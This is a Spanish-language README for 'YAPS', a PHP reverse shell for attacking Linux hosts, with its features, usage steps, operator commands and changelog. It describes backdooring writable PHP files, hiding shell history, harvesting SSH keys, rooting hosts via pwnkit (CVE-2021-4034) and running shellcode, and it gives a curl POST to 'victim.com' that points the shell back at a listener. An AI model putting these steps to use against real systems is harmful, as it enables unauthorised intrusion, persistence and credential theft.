YAPS - Otro Shell PHP más

Sí, como el nombre lo revela, este es otro shell reverso PHP, uno más entre cientos disponibles, pero con algunas ventajas. Es un solo archivo PHP que contiene todas sus funciones y puedes controlarlo a través de un simple listener TCP (por ejemplo, nc -lp 1337).

En la versión actual (1.5), sus funciones principales solo soportan sistemas Linux, pero estoy planeando hacerlo funcionar también con Windows.

Actualmente está en su primera versión y no lo he probado mucho todavía, y todavía hay muchas cosas que planeo hacer y mejorar para las próximas versiones (¡no está terminado aún!), así que por favor avísame si encuentras algún error o tienes alguna sugerencia de funcionalidad o mejora. =)

Características

• Archivo PHP único (no es necesario instalar paquetes, librerías ni descargar montones de archivos)
• Funciona con netcat, ncat, socat, multi/handler, casi cualquier listener
• Protección por contraseña personalizable
• Sin registros en .bash_history
• Realiza algo de enumeración
  • Información de red (interfaces, reglas de iptables, puertos activos)
  • Información de usuario
  • Listar archivos SUID y GUID
  • Buscar claves SSH (públicas y privadas)
  • Listar crontab
  • Listar archivos PHP modificables
• Descarga automática de LinPEAS, LinEnum o Linux Exploit Suggester
• Escribir y ejecutar código PHP en el host remoto
• Generar un shell reverso interactivo
• Duplicar tantas conexiones como quieras
• Actualización automática
• Infectar archivos PHP con backdoors
• Shell reverso root automático mediante pwnkit (CVE-2021-4034)
• [NUEVO] Enviar y ejecutar shellcode

Contras

• La conexión no está cifrada (aún) (nc no soporta SSL)
• No es completamente interactivo (aunque puedes generar un shell interactivo con !interactive)
  • CTRL+C lo interrumpe; no se pueden usar las flechas para navegar (a menos que uses rlwrap nc -lp <ip> <port>)

Uso

1. Configura un listener TCP;
2. Establece tu IP y puerto. Esto se puede hacer:

• 2.1 Editando las variables al inicio del script;
• 2.2 Estableciéndolas mediante una solicitud POST (curl -x POST -d "x=ip:port" victim.com/yaps.php);

3. Abre yaps.php en el navegador, hazle curl o ejecútalo vía CLI;

• 3.1 Puedes usar yaps.php?s o yaps.php?silent para suprimir el banner
• 3.2 Puedes ejecutarlo vía CLI con php yaps.php ip puerto

5. ¡Hackea!

Comandos funcionales

• !help - Muestra el menú de ayuda
• !all-colors - Alternar todos los colores (compatible con TTY sin color)
• !color - Alternar color de PS1 (solo localmente, no se cambia ninguna variable de entorno)
• !duplicate - Generar otra conexión YAPS
• !enum - Descargar LinPEAS y LinEnum a /tmp y dejarlos listos para usar
• !info - Listar información sobre el objetivo (la enumeración que mencioné arriba)
• !infect - Infectar archivos PHP modificables con backdoors
• !interactive - Generar shells reversos interactivos en otros puertos (funciona con sudo, su, mysql, etc.)
• !passwd - Opción de contraseña (habilitar, deshabilitar, establecer, modificar)
• !php - Escribir y ejecutar PHP en el host remoto

Capturas de pantalla

Haz clic para expandir la sección de capturas de pantalla

Comandos actuales:

Haciendo reconocimiento:

Shell reverso root mediante CVE-2021-4034

Enviando y ejecutando shellcode!

Generando un shell interactivo

Duplicando una sesión de YAPS

Registro de cambios

v1.5 - 12/02/2022

• Añadido !shellcode para recibir y ejecutar un shellcode arbitrario
• Mejorada la función duplicate() (ahora puedes especificar un rango de puertos)
• Cambiado el nombre de la función de stabilize a interactive
• Empaquetados códigos incrustados para ahorrar espacio
• Corregidos enlaces rotos
• Anteponer "TERM=xterm" a todos los comandos
• Mejoras menores

v1.4 - 04/02/2022

• Añadido !pwnkit para explotar CVE-2021-4034 y generar un shell reverso root
• Mejorada la función verify_update()
• Mejoras menores

v1.3.1 - 01/08/2021

• Errores corregidos

v1.3 - 28/07/2021

• Añadido !infect para infectar archivos PHP con backdoors
• Cambiado el payload de !stabilize (errores corregidos)

v1.2.2 - 18/07/2021

• Cambiada la función 'update'
• Cambiada la función 'connect'
• Mejorada la función 'download'
• Errores corregidos

v1.2.1 - 17/07/2021

• Errores corregidos

v1.2 - 17/07/2021

• Añadido !duplicate para generar otro shell
• Añadida verificación de actualización (--update|-u)
• Añadidos argumentos CLI (--help|-h)
• Añadido socket mediante argumentos (php yaps.php ip puerto)
• Cambiado el método de estabilización del shell (ya no se congela)
• Cambiado el método de descarga
• Cambiado el método de conexión vía POST (recibe un solo parámetro)

v1.1 - 12/07/2021

• Añadido !all-colors para alternar colores de terminal y funcionar con TTYs sin color
• Añadido comando exit para cerrar socket (salir del shell)
• Cambiado el payload en !stabilize para desactivar HISTSIZE y HISTFILE
• Cambiado el método de obtención de CPU y meminfo en !info

v1.0.1 - 08/07/2021

• Cambiado [x,y,z] a array(x,y,z) para mejorar la compatibilidad con versiones antiguas de PHP
• Cambiado el payload del shell interactivo para que funcione con PHP<5.4

Créditos

Algunas ideas fueron inspiradas por estas herramientas:

Linpeas

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS

Linenum

https://github.com/rebootuser/LinEnum

Suggester

https://github.com/AonCyberLabs/Windows-Exploit-Suggester

Pentest Monkey

https://github.com/pentestmonkey/php-reverse-shell

Arthepsy exploit for pwnkit

https://github.com/arthepsy/CVE-2021-4034/